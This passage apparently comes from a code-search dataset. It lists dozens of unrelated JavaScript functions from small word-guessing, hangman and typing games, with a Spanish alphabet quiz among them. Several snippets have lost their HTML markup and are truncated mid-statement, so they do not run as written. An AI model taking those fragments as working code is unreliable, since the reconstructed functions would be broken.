canvas.width, canvas.height);\n ctx.font = \"60px Arial\";\n ctx.fillStyle = \"red\";\n ctx.fillText(\"Game Over\", position, canvas.height / 2);\n return;\n }\n\n /* user type in the word that is being display */\n\n let typeWord = wordInput.value.toLowerCase();\n ctx.clearRect(0, 0, 400, 400);\n movingBackground();\n wordFalls();\n score();\n lifeLine();\n if (typeWord === wordArr[randomIndex]) {\n projectile();\n }\n window.requestAnimationFrame(draw);\n }","function renderGame() {\n // If there are still more words in the array, set the display and write it to the page\n if (currentIndex <= (secretWords.length - 1)) {\n secretWord = secretWords[currentIndex];\n display = repeatChar(secretWord.length, '_');\n tries = 0;\n document.querySelector(\"#progress\").innerHTML = \"Guess the bread: \" + display;\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n // If the supply of breads has been exhausted, render the end game screen.\n else {\n document.querySelector(\"#progress\").innerHTML = \"Game Over!\";\n document.querySelector(\"#results\").innerHTML = \"Refresh the page to play again.\";\n document.querySelector(\"#wins\").innerHTML = \"Total Wins: \" + wins;\n }\n}","function showWord(words){\n\n //Generate randow array index\n const randIndex = Math.floor(Math.random() *words.length);\n //Output random word\n currentWord.innerHTML=words[randIndex];\n}","function game() {\n //hide words\n //$(\".fiveWords\").hide(); //removed because the letters need to show when new game starts\n \n //move words --alec\n myMove(\"1\");\n myMove(\"2\");\n myMove(\"3\");\n myMove(\"4\");\n myMove(\"5\");\n \n}","function displayEndScreen() {\n //display image\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\n //Set text size in push-pop\n push();\n textSize(19);\n //If player hits zero kids, display this\n if (player.sentence === 0) {\n text(\"It took you only \" + player.timeSpent + \" hours and you did it \\nwithout bumping into children! \\nAmazing job, Hieronymous! Back to \\nloitering!\", 0 + windowWidth / 20, windowWidth / 5);\n //If player hits less than three kids, display this\n } else if (player.sentence < 107) {\n text(\"It took you only \" + player.timeSpent + \" hours \\nand you only added \" + player.sentence + \" days \\n to your community service!\", 0 + windowWidth / 20, windowWidth / 5);\n } else {\n //otherwise, display this message\n text(\"It took you \" + player.timeSpent + \" hours... \\n...but holy crap Hieronymous you added \" + player.sentence + \" days \\nto your community service. Embarrassing.\", 0 + windowWidth / 20, windowWidth / 5);\n }\n pop();\n\n}","function drawGame(word, letters) {\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\n}","function showNewWord(){\n// document.getElementById(\"wordToType\").innerHTML=\" \";\n $(\"#wordBox\").val(\"\");\n// $(\"#wordToType\").html(words[index][0]);\n if (words.length === alreadyUsed.length){\n endGame();\n }\n console.log(\"choosing word\");\n chooseWord();\n document.getElementById(\"wordToType\").innerHTML= words[index][0];\n\n }","function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }","drawSecretWord() {\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\n for (let i = 0; i < GAME.secretWord.length; i++) {\n const element = GAME.secretWord[i];\n if(str_replace(from,to,element) === PLAYER.guess) {\n PLAYER.guessStatus = true\n GAME.answerArray[i] = element\n }\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\n ctx.beginPath()\n ctx.font = \"32px calibri\"\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\n ctx.closePath()\n }\n }","function displayGameOver() {\n push();\n textAlign(CENTER,CENTER);\n textSize(60);\n fill(0,0,0);\n stroke(255,0,0);\n textFont(fontGame);\n text(\"Your artistic experience is terminated \\n sorry Warhol \\n \\n REFRESH to play again :)\",width/2,height/2);\n pop();\n}","function startGame() {\n // Randomly selecting a word from our array\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\n // creating a new word object with the random word\n wordConstructed = new Word(wordUsedForGame);\n // calling the renderWord function to push the letters into the word\n wordConstructed.renderWord();\n\n console.log(\"\\n\");\n console.log(\"Guess The Word. You have 7 chances to get it Right!!!\");\n console.log(\" Hint: The Words are computer Languages \\n\");\n\n // Displaying the dashes based on the word selected using the Word display function \n // they will be dashes because the guessed is set to false\n console.log(wordConstructed.display());\n console.log(\"\\n\");\n\n // calling askLetters to run the game\n askLetters();\n\n\n}","function startGame() {\n wrongGuesses = ' ';\n allGuesses = \"\";\n currentDisplay = [];\n //Randomly selects a word from the array wordList\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \n // Put the selected word into an array\n word = wordString.split(''); \n guessRemain = wordString.length; \n for (var i = 0; i < guessRemain; i++){\n currentDisplay[i] = \"_\"; \n //displays the game\n }\n displayGame(); \n }","function startGame() {\n renderNewWord();\n startBar();\n }","function wordplay() {\n librarycall()\n play = new Word(choice);\n plays = 10\n alphaArr = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n omegaArr = []\n console.log(play.fullDisplay());\n console.log(\"Tries left = \" + plays);\n testletter()\n}","function stepWord() {\n word++;\n syllable = 0;\n process.stdout.write(\" \");\n}","function start()\n{\ndocument.getElementById(\"two\").style.marginTop=\"20%\";\n\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\n\ndocument.getElementById(\"two\").innerHTML =obj.spellings[x].word;\n\nsetInterval(function() {game()},4000); // changing word after every 3 se....\n}","function endLose(word) {\n console.log(\"You lose. The word was:\");\n showWord(word);\n}","function draw() {\n\n noStroke();\n fill(255);\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \n // i MEANS THE FIRST LETTER OF THE sentence \n\n for (let i = 0; i < words.length; i++) {\n // appearing over time...\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \n\n if (frameCount > i * 100) {\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \n \n if (i > 0) {\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\n }\n fill(255);\n text(words[i], wordMarginLeft + extraSpace, 20);\n }\n }\n \n \n}","function drawHangman() {\n}","function updateDisplay() {\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"currentWord\").innerText = \"\";\n\n for (let i = 0; i < guessingWord.length; i++) {\n document.getElementById(\"currentWord\").innerText += guessingWord[i];\n }\n document.getElementById(\"remainingGuesses\").innerText = remainingGuesses;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n if (remainingGuesses <= 0) {\n document.getElementById(\"gameover-image\").style.cssText = \"display: block\";\n document.getElementById(\"pressKeyTryAgain\").style.cssText =\n \"display: block\";\n hasFinished = true;\n }\n}","function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}","function writeWord(){\n var letterOrDash = \"\";\n var allLettersGuessed = true;\n\n for(var i=0; i `\n \n ${correctLetters.includes(letter) ? letter : '' }\n \n `\n )\n .join('')\n }\n `;\n // TO check -> console.log(word.innerText);\n // To chack -> console.log(wordText);\n const wordText = word.innerText.replace(/\\n/g, '');\n if(wordText === selectedWord) {\n message.innerText = 'You Won!';\n popup.style.display = 'flex';\n }\n}","function renderEndGameText() {\n gameBackground.zIndex = 45;\n sortZindex(gameScreen);\n longBoard.visible = true;\n endText.visible = true;\n endText.speed = END_TEXT_SPEED;\n endGameSelected = true;\n}","function displayWord() {\n wordElement.innerHTML = \n `${selectedWord\n .split('')\n .map(letter =>\n `\n ${correctLetters.includes(letter) ? letter : ''}\n `\n ).join('')}`;\n \n //console.log(wordElement.innerText);\n \n //Remove New Line Character \n const innerWord = wordElement.innerText.replace(/\\n/g, '')\n //console.log(innerWord); \n\n if (innerWord === selectedWord) {\n finalMessage.innerText = 'You Won!';\n popUp.style.display = 'flex';\n }\n}","function displayWord(array){\n word = array[Math.floor(Math.random() * array.length)];\n var display = document.getElementById(\"display\");\n display.innerText = word;\n}","function gameOver() {\n background(0);\n fill(255, 0, 0);\n textFont(myFont, 80);\n textAlign(CENTER);\n text(\"LOSER\", 400, 200);\n textSize(32);\n text(\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\", 400, 270);\n text(\"YOU HAVE DONE THE WRONG THING!\", 400, 285);\n text(\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\", 400, 300);\n text(\" TO THE DYING PERSON FIRST.\", 400, 315);\n text(\"BETTER LUCK NEXT TIME.\", 400, 330);\n textSize(40);\n text(\"REFRESH THE PAGE TO PLAY AGAIN\", 400, 485);\n}","startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }","function showTheWord() {\n // get random word then store it in the global var theWord\n theWord = getRandomWord().split(''); // make it into array\n\n // place underscore referencing the number of letters\n for (var i = 0; i < theWord.length; i++) {\n $(\"#letterHolder\").append($(\"_\"));\n }\n }","function showGameOver() {\n gameSound.pause();\n textSize(60);\n textAlign(CENTER,CENTER);\n fill(243,231,45);\n var gameOverText = \"GAME OVER\\n\";\n gameOverText += \"You caught \" + snitchEaten + \" snitch\\n\";\n gameOverText += \"before you died.\"\n text(gameOverText,width/2,height/2);\n}","function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i=10) {\n wordz+=\"\\n YOU WIN\";\n\n} else {\n wordz+=\"\\n YOU LOSE\";\n}\n words = wordz;\n}","function newWord(){\n var wordBank = [\"susie\", \"transmogrifier\", \"spacemanspiff\",\"gross\", \"calvinball\", \"stupendousman\", \"tracerbullet\", \"toboggan\", \"duplicator\", \"misswormwood\", \"hamsterhuey\", \"gooeykablooie\"];\n console.log(wordIndex)\n console.log(wordBank.length)\n if(wordIndex >= wordBank.length){\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n updateField(\"message-text\", \"Aww shucks, we're all out of words
You got \"+wins+\" out of \"+wordBank.length+\" right!\");\n return;\n }\n currentWord=wordBank[wordIndex];\n wordDisplay.innerHTML = createDisplay(currentWord);\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n //upddate message board\n updateField(\"message-text\", \"Next Word!\")\n //resetting parameters\n guessedArray = [\"\"];\n updateLettersGuessedField();\n guessesLeft = 6\n updateField(\"guesses-left\",guessesLeft);\n lettersCorrect = 0;\n //reset stopGame\n stopGame = false; \n}","function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i';\n document.getElementById(\"letter\" + i).innerHTML = \"_ \";\n }\n return randomWord;\n}"],"string":"[\n \"function DisplayWord() {\\n\\tvar wordToPrint : String;\\n\\tvar hWord : GameObject;\\n\\t//var offset : float;\\n\\tswitch(this.kana) {\\n\\t\\tcase \\\"a\\\":\\n\\t\\t\\twordToPrint = \\\"あ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"i\\\":\\n\\t\\t\\twordToPrint = \\\"い な ず ま\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"u\\\":\\n\\t\\t\\twordToPrint = \\\"う さ ぎ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\n\\t\\tcase \\\"e\\\":\\n\\t\\t\\twordToPrint = \\\"え ん\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"o\\\":\\n\\t\\t\\twordToPrint = \\\"お す\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ka\\\":\\n\\t\\t\\twordToPrint = \\\"か た な\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ki\\\":\\n\\t\\t\\twordToPrint = \\\"き り か ぶ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ku\\\":\\n\\t\\t\\twordToPrint = \\\"く さ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ke\\\":\\n\\t\\t\\twordToPrint = \\\"け る\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ko\\\":\\n\\t\\t\\twordToPrint = \\\"こ ぶ し\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\t;\\n\\t\\t\\t\\t\\n\\t}\\n\\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\\n\\t//offset = .005 * wordToPrint.Length;\\n\\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\\n\\thWord.guiText.text = wordToPrint;\\n}\",\n \"function dashes(){\\r\\n document.getElementById('word').innerHTML = '';\\r\\n for (var i = 0; i < guesses.length; i++)\\r\\n document.getElementById('word').innerHTML += guesses[i] + ' ';\\r\\n document.getElementById('start').style.visibility = \\\"hidden\\\";\\r\\n}\",\n \"function handleText() {\\n if (index < text.length) {\\n id(\\\"output\\\").innerText = \\\"\\\";\\n let curWord = text[index];\\n id(\\\"output\\\").innerText = curWord;\\n index++;\\n } else {\\n endGame();\\n }\\n }\",\n \"function showWord(word) {\\n var i;\\n for (i = 0; i < word.length; i ++) {\\n process.stdout.write(word[i]);\\n }\\n playAgain();\\n}\",\n \"function displayNextWordFor(objectName){\\n\\tvar obj = HangMan[objectName];\\n\\tHangMan.gameReady = true;\\n\\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\\n\\tobj.lives = 10;\\n\\tobj.guesses = [];\\n\\tobj.trueg = [];\\n\\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\\n\\tobj.falseg = [];\\n\\tloadObject(objectName);\\n}\",\n \"function displayWord(word, words, firstRound) {\\n\\t\\tconsole.log(\\\"currWord: \\\" + word);\\n\\t\\tdocument.getElementById(\\\"currWord\\\").innerHTML = word;\\n\\t\\tvar currChar = 0;\\n\\n\\t\\tvar wordLength = word.length;\\n\\n\\t\\t$('#currWord').on('click', function() {\\n\\t\\t\\tif (firstRound) {\\n\\t\\t\\t\\t$('#typeDummy').toggleClass('highlight');\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\t//when the user types a key\\n\\t\\tdocument.onkeypress = function(evt) {\\n\\t\\t\\tif (!gameOver) {\\n\\t\\t\\t\\tif (evt.keyCode == 8) {\\n\\t\\t\\t\\t \\tevt.preventDefault();\\n\\t\\t\\t\\t}\\t\\t\\n\\t\\t\\t evt = evt || window.event;\\n\\t\\t\\t var charCode = evt.which || evt.keyCode;\\n\\t\\t\\t var charTyped = String.fromCharCode(charCode);\\n\\n\\t\\t\\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\\n\\t\\t\\t\\t if (charCode == word.charCodeAt(currChar)) {\\n\\t\\t\\t\\t \\tcurrChar++;\\n\\t\\t\\t\\t \\tdocument.getElementById(\\\"currWord\\\").innerHTML = \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(0,currChar) + \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(currChar, wordLength);\\n\\t\\t\\t\\t } else {\\n\\t\\t\\t\\t \\tmistakeCount++;\\n\\t\\t\\t\\t \\tif (mistakeCount < 8) {\\n\\t\\t\\t\\t\\t \\t$(\\\"#misses\\\").html( $(\\\"#misses\\\").html() + \\\"X\\\" );\\n\\t\\t\\t\\t \\t} else {\\n\\t\\t\\t\\t \\t\\t$(\\\"#misses\\\").html(mistakeCount);\\n\\t\\t\\t\\t \\t}\\n\\t\\t\\t\\t }\\n\\t\\t \\t}\\n\\n\\t\\t \\t//once the user has fully typed the word\\n\\t\\t\\t if (currChar == wordLength) {\\n\\t\\t\\t \\tif (firstRound) {\\n\\t\\t\\t \\t\\tstartGame();\\n\\t\\t\\t \\t} else {\\n\\t\\t\\t \\t\\twordCount++;\\n\\t\\t\\t \\t\\trando = words[Math.floor(Math.random() * words.length)];\\n\\t\\t\\t \\t\\tdisplayWord(rando, words, false);\\n\\t\\t\\t \\t}\\n\\t\\t\\t }\\n\\t\\t }\\n\\t\\t};\\n\\t}\",\n \"function final(any) {\\n element.wordGuess.textContent = string[any]; // will show win or lose string property\\n sound[any].play(); //will play win or lose sound\\n score[any]++; //will increment win or lose score\\n update(); \\n setTimeout(function () { //timer so that you can enjoy the music and strings\\n reset();\\n }, 2000);\\n }\",\n \"function displayWord(myword, desc){\\r\\n let display = \\\"\\\";\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length - 1){\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n document.getElementById(\\\"desc\\\").innerHTML = desc;\\r\\n}\",\n \"function Display(){\\n document.getElementById(\\\"wins\\\").textContent = countWins;\\n document.getElementById(\\\"dispWord\\\").textContent = dispWord;\\n document.getElementById(\\\"guessesLeft\\\").textContent = 12 - countGuesses;\\n document.getElementById(\\\"lettersGuessed\\\").textContent = lettersGuessed;\\n console.log(\\\"Random word is: \\\" + guessWord);\\n}\",\n \"function endWord() {\\n var stringDisplay = \\\"\\\"\\n globalList.forEach(function(item){\\n stringDisplay += item\\n document.querySelector(\\\"#applyGuess\\\").innerHTML = stringDisplay.toUpperCase()\\n document.querySelector(\\\"#endWord\\\").innerHTML = \\\"Word Was:\\\"\\n })\\n}\",\n \"function reveal(guess) {\\n for (var z = 0; z < word.length; z++) {\\n if (word[z] == guess) {\\n context.fillText(word[z], (100 + (z * 20)), 490);\\n lettersRemaining--;\\n console.log(\\\"reveal: \\\" + lettersRemaining);\\n }\\n }\\n }\",\n \"function showWord(words)\\r\\n{\\r\\n\\t//generate random array index\\r\\n\\tconst randIndex=Math.floor(Math.random() * words.length);\\r\\n\\t//output random word\\r\\n\\tcurrentWord.innerHTML=words[randIndex];\\r\\n}\",\n \"function showword(words){\\n const randindex = Math.floor(Math.random() * words.length);\\n\\n //output random word\\n currentword.innerHTML = words[randindex];\\n}\",\n \"function displayLetter(myword, letter, word){ // by jaguar\\r\\n let display = \\\"\\\";\\r\\n let mywordarr = myword.split(\\\"\\\")\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length){\\r\\n if(letter === word.charAt(i)){\\r\\n display = display + letter + \\\" \\\";\\r\\n mywordarr[i] = letter\\r\\n } else {\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n }\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n displayed = mywordarr.join(\\\"\\\")\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n checkWincondition(display, word)\\r\\n}\",\n \"function updateDisplay(wordArray, midGame) {\\n // let wordJoin = wordArray.join(\\\" \\\");\\n document.getElementById(\\\"guess-word\\\").innerHTML = wordArray.join(\\\" \\\");\\n if (midGame !== undefined) {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\" + midGame.join(\\\", \\\");\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + parseInt(numGuesses - midGame.length);\\n document.getElementById(\\\"hangman-graphic\\\").innerHTML = hangdood[midGame.length];\\n }\\n else {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\";\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + numGuesses;\\n }\\n }\",\n \"function renderNewWord() {\\n\\n // random word generator\\n var random = Math.floor(Math.random() * wordLength.length);\\n\\n // get a random word and clear the string display\\n let word = wordLength[random];\\n wordDisplayString.innerHTML = \\\"\\\";\\n\\n // for each character in the word array create a 1 char span\\n word.split(\\\"\\\").forEach(character => {\\n const characterSpan = document.createElement(\\\"span\\\");\\n characterSpan.innerText = character;\\n wordDisplayString.appendChild(characterSpan);\\n })\\n\\n // set input to null and focus it\\n wordInput.value = null;\\n wordInput.focus();\\n }\",\n \"function showWord(words) {\\r\\n const randIndex = Math.floor(Math.random() * words.length);\\r\\n currentWord.innerHTML = words[randIndex];\\r\\n }\",\n \"displayWordInfo() {\\r\\n this.displayHangman();\\r\\n this.displayLives();\\r\\n this.displayLetters();\\r\\n this.displayLettersToGuess();\\r\\n }\",\n \"function showWord(words) {\\n const randIndex = Math.floor(Math.random() * words.length);\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function displayNextLevel() {\\r\\n getWord(level);\\r\\n encryptGameWord();\\r\\n writeEncryptedWord();\\r\\n writeGameInfo();\\r\\n toggleGameElements();\\r\\n startTimer(80);\\r\\n $(\\\"#user-word\\\").focus();\\r\\n }\",\n \"function renderGame() {\\n // Set a random word\\n randomNumber = Math.floor(Math.random() * 21); \\n currentWord = wordArray[randomNumber][0];\\n console.log(\\\"currentWord\\\", currentWord);\\n\\n if (currentWord.length < 8) {\\n guessesLeft = currentWord.length + 3;\\n // console.log(\\\"guessesLeft\\\", guessesLeft);\\n } else {\\n guessesLeft = 8;\\n }\\n\\n lettersGuessed = [];\\n // console.log(\\\"lettersGuessed\\\", lettersGuessed);\\n dashArr = [];\\n\\n\\n\\n\\n splitArr = currentWord.toLowerCase().split('');\\n // console.log(\\\"splitArr\\\", splitArr);\\n\\n // Check the length of word and render dashes\\n // Check for spaces\\n splitArr.map(index => {\\n if (index === \\\" \\\") {\\n dashArr.push(' ');\\n }\\n\\n else {\\n dashArr.push('-');\\n }\\n })\\n\\n // console.log(\\\"dashArr\\\", dashArr);\\n\\n displayWord = dashArr.join('');\\n\\n // console.log(\\\"displayWord\\\", displayWord);\\n\\n document.querySelector(\\\"#display-word\\\").innerHTML = displayWord.toUpperCase();\\n document.querySelector(\\\"#display-wins\\\").innerHTML = wins;\\n document.querySelector(\\\"#display-losses\\\").innerHTML = losses;\\n document.querySelector(\\\"#display-guesses-left\\\").innerHTML = guessesLeft;\\n document.querySelector(\\\"#display-image\\\").src = \\\"./assets/images/finnandjake.png\\\";\\n document.querySelector(\\\"#display-letters-guessed\\\").innerHTML = lettersGuessed;\\n document.querySelector(\\\"#instructions\\\").innerHTML = \\\"Guess A Letter To Get Started!\\\" ;\\n\\n\\n\\n}\",\n \"function endWin(word) {\\n console.log(\\\"You win. The word was:\\\");\\n showWord(word);\\n}\",\n \"function hangman(){\\n var x = word.length;\\n var y = x-1;\\n var spaces = 0;\\n while (x>0){\\n numChar++;\\n var letter = word.substring(y,x);\\n if(letter === \\\" \\\"){\\n document.getElementById('letter'+x).innerHTML = \\\" \\\";\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('letter'+x).style.display = \\\"block\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\";\\n spaces++;\\n }\\n else{\\n document.getElementById('letter'+x).innerHTML = letter;\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\"; \\n document.getElementById('underline'+x).style.borderBottom = \\\"3px solid white\\\";\\n }\\n x--;\\n y--;\\n }\\n wordLength = word.length - spaces;\\n document.getElementById('gamePage').style.display = \\\"block\\\";\\n\\n}\",\n \"function drawboard(location, word) {\\n for (var i = 0; i < word.length; i++) {\\n context.fillText('_ ', (location[0] + i * 20), location[1]);\\n }\\n }\",\n \"function showText() {\\n $(\\\"#textDisplay\\\").empty();\\n $(\\\"#instructions\\\").empty();\\n randomWords = [];\\n for (var i = 0; i < wordCount; i++) {\\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\\n randomWords.push(ranWord);\\n }\\n }\\n randomWords.forEach(function(word){\\n $(\\\"#textDisplay\\\").append($(\\\"\\\",{\\\"text\\\": word + \\\" \\\",\\\"class\\\":\\\"word\\\"}));\\n });\\n textDisplay.firstChild.classList.add(\\\"highlightedWord\\\")\\n }\",\n \"function showWord(words) {\\n // Generate random array index\\n const randIndex = Math.floor(Math.random() * words.length);\\n // Output the random word\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function currentWordDisplay() {\\n var activeCharacterDisplay = document.querySelector(\\\"#activeCharacterDisplay\\\");\\n activeCharacterDisplay.textContent = answerArray.join(\\\" \\\");\\n}\",\n \"function showWord(words){\\r\\n// generate random array index//\\r\\nconst randIndex =math.floor(math.random() * words.length);\\r\\n// output random words//\\r\\ncurrentWord.innerHTML = words[randIndex];\\r\\n}\",\n \"function right() {\\r\\n //if guess is correct\\r\\n //keep checking if to see if there is another space for the same letter\\r\\n for (var j = 0; j < underScore.length; j++) {\\r\\n if (word[j] === guess) {\\r\\n underScore[j] = guess;\\r\\n var blank = \\\"\\\" + underScore.join(\\\" \\\") + \\\"
\\\";\\r\\n document.getElementById(\\\"blank\\\").innerHTML = blank;\\r\\n }\\r\\n //hide and show you win div\\r\\n if (underScore.join(\\\"\\\") === word) {\\r\\n winMessage.show();\\r\\n direct.hide();\\r\\n }\\r\\n }\\r\\n}\",\n \"function displayLetters(guess){\\n\\t\\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\\r\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"counterWins\\\").innerText = wins;\\n var guessingWordText = \\\"\\\";\\n for (var i = 0; i < guessingWord.length; i++) {\\n guessingWordText += guessingWord[i];\\n }\\n document.getElementById(\\\"currentWord\\\").innerText = guessingWordText;\\n document.getElementById(\\\"counterLives\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"counterGuessed\\\").innerText = guessedLetters;\\n}\",\n \"function lose() {\\n gameEnd.css('display', 'block');\\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\\n}\",\n \"function underline(){\\r\\n\\r\\n underscore = [];\\r\\n for(let i=0;i 0) {\\n wins++;\\n var showWins = document.getElementById(\\\"wins\\\");\\n showWins.innerHTML = wins;\\n }\\n }\\n}\",\n \"function updateDisplay() {\\n\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"totalLosses\\\").innerText = losses;\\n\\n // Display how much of the word we've already guessed on screen.\\n var guessWordText = \\\"\\\";\\n for (var i = 0; i < guessWord.length; i++) {\\n guessWordText += guessWord[i];\\n }\\n\\n //\\n document.getElementById(\\\"currentWord\\\").innerText = guessWordText;\\n document.getElementById(\\\"lifePoints\\\").innerText = lifePoints;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n}\",\n \"displayLetters() {\\r\\n let wordHidden = \\\"\\\\n\\\";\\r\\n for (let i = 0; i < this.text.length; i++) {\\r\\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\\r\\n wordHidden += HangmanUtils.symbol;\\r\\n }\\r\\n else {\\r\\n wordHidden += this.text.charAt(i);\\r\\n }\\r\\n wordHidden += \\\" \\\";\\r\\n }\\r\\n console.log(wordHidden);\\r\\n }\",\n \"function displayGame() {\\n getAnimal();\\n animalType.innerHTML = gameAnimalType;\\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\\n document.getElementById(\\\"guess\\\").focus();\\n 